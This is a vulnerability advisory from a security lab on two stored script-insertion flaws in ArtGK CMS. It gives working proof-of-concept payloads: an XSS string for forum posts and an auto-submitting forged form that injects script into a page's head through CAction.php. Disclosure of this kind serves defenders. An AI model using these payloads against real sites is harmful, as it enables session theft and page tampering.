Script Insertion Vulnerabilities in ArtGK CMS

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in ArtGK CMS which could be exploited to perform script insertion attacks.

1) Script insertion vulnerabilities in ArtGK CMS
1.1 Input passed to the "content" parameter in cms/classes/CForm.php is not properly sanitized within the forum module. A remote attacker can insert arbitrary HTML and script code, which will be executed in user`s browser in context of the vulnerable website when user views the malicious data.
Exploitation example:
Creat a post with the following content
'XSS"><script>alert(document.cookie)</script>'
1.2 Input passed to the "_a[0][vars][head]" parameter in cms/classes/CAction.php is not properly sanitized. A remote attacker can insert arbitrary HTML and script code, which will be executed in user`s browser in context of the vulnerable website when user views the malicious data.
Exploitation example:
<form action="http://host/cms/action?async=exit" method="post" name="main" >
<input type="hidden" name="_a[0][action]" value="saveAndPublish" />
<input type="hidden" name="_a[0][id]" value="1" />
<input type="hidden" name="_a[0][vars][title]" value="page title" />
<input type="hidden" name="_a[0][vars][description]" value="description" />
<input type="hidden" name="_a[0][vars][keywords]" value="metakeys" />
<input type="hidden" name="_a[0][vars][link]" value="/" />
<input type="hidden" name="_a[0][vars][use_content_in_head]" value="path" />
<input type="hidden" name="_a[0][vars][head]" value='<script type="text/javascript" src="/cms/js/ajax.js"> </script><meta name="keywords" content="keywords"/><meta name="description" content="Description"/><script>alert(document.cookie)</script><title>Site Title</title>' />
</form>
<script>
document.main.submit();
</script>